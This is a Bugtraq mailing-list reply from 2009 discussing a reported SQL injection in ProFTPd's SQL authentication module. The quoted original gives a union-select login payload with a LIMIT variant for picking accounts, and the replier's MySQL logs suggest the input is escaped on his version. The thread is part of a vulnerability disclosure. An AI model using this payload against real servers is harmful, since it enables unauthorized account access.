bugtraq - Re: Another SQL injection in ProFTPd with mod

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Date: Tue, 10 Feb 2009 17:12:17 -0500
From: Daniel Mayer <mayer@...ga.net>
To: gat3way@...3way.eu
Cc: bugtraq@...urityfocus.com
Subject: Re: Another SQL injection in ProFTPd with  mod_mysql (probably
 postgres as well)

Hi,

On Tue, 2009-02-10 at 19:49 +0000, gat3way@...3way.eu wrote:
> Just found out a problem with proftpd's sql authentication. The problem is easily reproducible if you login with username like:
Could you please provide the version number which is affected by this?
Running ProFTPD Version: 1.3.0 (stable) on Linux (Debian etch) I cannot
reproduce your report.

> USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; -- 
> 
> and a password of "1" (without quotes).
> 
> which leads to a successful login. Different account logins can be made successful using the limit clase (e.g appending "LIMIT 5,1" will make you login with as the 5th account in the users table).
> 
> As far as I can see in the mysql logs the query becomes:
> SELECT userid, passwd, uid, gid, homedir, shell FROM users WHERE (userid='{UNKNOWN TAG}') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 1,1; -- ') LIMIT 1
I can see proper escaping even when varying the SQL code provided. Here
the MySQL log excerpt:

SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
(username='USER%\') and 1=2 union select 1,1,uid,gid,homedir,shell from
ftp; --') LIMIT 1

SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
(username='USER %\') and 1=2 union select 1,1,uid,gid,homedir,shell from
ftp; --') LIMIT 1

SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
(username='% \') and 1=2 union select 1,1,uid,gid,homedir,shell from
ftp; --')  LIMIT 1

SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
(username='%\') and 1=2 union select 1,1,uid,gid,homedir,shell from ftp;
--') LIMIT 1


> 
> I think the problem lies in the handling of the "%" character (probably that's some way to sanitize input to avoid format string things?).
> 
> Anyway, %' effectively makes the single quote unescaped and that eventually allows for an SQL injection during login.
Did you inform the developers directly? I would be happy to get an
update on this issue. 


Best,
Daniel